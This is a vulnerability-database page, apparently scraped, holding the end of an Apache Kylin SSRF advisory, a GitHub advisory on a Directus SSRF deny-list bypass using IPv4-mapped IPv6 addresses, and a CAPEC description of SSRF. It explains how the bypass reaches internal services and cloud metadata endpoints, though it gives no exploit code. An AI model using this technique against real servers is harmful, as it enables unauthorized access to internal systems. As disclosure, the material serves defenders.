"id": "GHSA-wrx7-qgmj-mf2q",
"modified": "2022-01-07T23:16:38Z",
"published": "2022-01-08T00:43:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27738"
},
{
"type": "WEB",
"url": "https://github.com/apache/kylin/pull/1646"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/kylin"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/vkohh0to2vzwymyb2x13fszs3cs3vd70"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/01/06/6"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Server-Side Request Forgery in Apache Kylin"
}
GHSA-WV3H-5FX7-966H
Vulnerability from github – Published: 2026-04-04 06:10 – Updated: 2026-04-07 14:20Summary
A Server-Side Request Forgery (SSRF) protection bypass has been identified and fixed in Directus. The IP address validation mechanism used to block requests to local and private networks could be circumvented using IPv4-Mapped IPv6 address notation.
Details
Directus implements an IP deny-list to prevent server-side requests to internal/private network ranges. The validation logic failed to normalize IPv4-Mapped IPv6 addresses (e.g., the IPv6 representation of 127.0.0.1) before checking them against the deny-list. Because the deny-list check did not recognize these mapped addresses as equivalent to their IPv4 counterparts, an attacker could bypass the restriction while the underlying HTTP client and operating system still resolved and connected to the intended private target.
This has been fixed by adding a normalization step that converts IPv4-Mapped IPv6 addresses to their canonical IPv4 form prior to validation.
Impact
An authenticated user (or an unauthenticated user if public file-import permissions are enabled) could exploit this bypass to perform SSRF attacks against internal services on the same host (databases, caches, internal APIs) or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35409"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:10:53Z",
"nvd_published_at": "2026-04-06T22:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass has been identified and fixed in Directus. The IP address validation mechanism used to block requests to local and private networks could be circumvented using IPv4-Mapped IPv6 address notation.\n\n### Details\nDirectus implements an IP deny-list to prevent server-side requests to internal/private network ranges. The validation logic failed to normalize IPv4-Mapped IPv6 addresses (e.g., the IPv6 representation of `127.0.0.1`) before checking them against the deny-list. Because the deny-list check did not recognize these mapped addresses as equivalent to their IPv4 counterparts, an attacker could bypass the restriction while the underlying HTTP client and operating system still resolved and connected to the intended private target.\n\nThis has been fixed by adding a normalization step that converts IPv4-Mapped IPv6 addresses to their canonical IPv4 form prior to validation.\n\n### Impact\nAn authenticated user (or an unauthenticated user if public file-import permissions are enabled) could exploit this bypass to perform SSRF attacks against internal services on the same host (databases, caches, internal APIs) or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS).",
"id": "GHSA-wv3h-5fx7-966h",
"modified": "2026-04-07T14:20:08Z",
"published": "2026-04-04T06:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35409"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.